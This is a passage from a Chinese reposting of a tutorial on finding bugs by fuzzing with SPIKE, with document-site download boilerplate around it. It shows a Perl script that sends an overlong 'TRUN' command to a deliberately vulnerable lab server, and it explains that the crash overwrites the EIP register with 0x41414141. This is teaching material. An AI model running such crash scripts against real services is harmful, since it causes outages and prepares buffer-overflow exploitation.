手机版

Fuzzing-用SPIKE挖掘漏洞(18)

时间:2025-04-27   来源:未知    
字号:

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

die("Usage: $0 IP_ADDRESS PORTnn"); # help message shown if too few variables

are provided

}

$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"

$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable

$socket = IO::Socket::INET->new( # creates a new socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # IP address - command line variable 1

PeerPort => "$ARGV[1]" # TCP port number - command line variable 2

) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established

$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message

print "$serverdata"; # prints out received data

$socket->send($baddata); # sends data in $baddata over socket

这些代码在$baddata变量中存储了恰当的fuzz字符串,建立了一个到IP地址的TCP套接字,在命令行上指定端口,通过套接字接收打印Welcome信息,发送fuzz数据到服务器。

保存致谢代码到“trun.pl”文件,给与其可执行权限(chmod +x trun.pl ),运行它: root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999

Welcome to Vulnerable Server! Enter HELP for help.

这时检查调试器,我们会看到相同的违规访问报错。我们发现了一个导致程序崩溃的bug.作为一个奖励,我们发送的数据已经控制了CPU的一个非常重要的寄存器-EIP寄存器(扩展指令寄存器)。

看一下EIP寄存器是如何包含值41414141的呢?

既然EIP是4byte(32bit)的寄存器,保存来里面的值-41414141(时间上是16进制的0x41414141)是由4个16进制个体0x41组成。0x41转换成ASCII码是什么的,是的,正式大写字母“A”。我们可以用perl打印输出“x41”来证明。

Fuzzing-用SPIKE挖掘漏洞(18).doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
×
二维码
× 游客快捷下载通道(下载后可以自由复制和排版)
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能出现无法下载或内容有问题,请联系客服协助您处理。
× 常见问题(客服时间:周一到周五 9:30-18:00)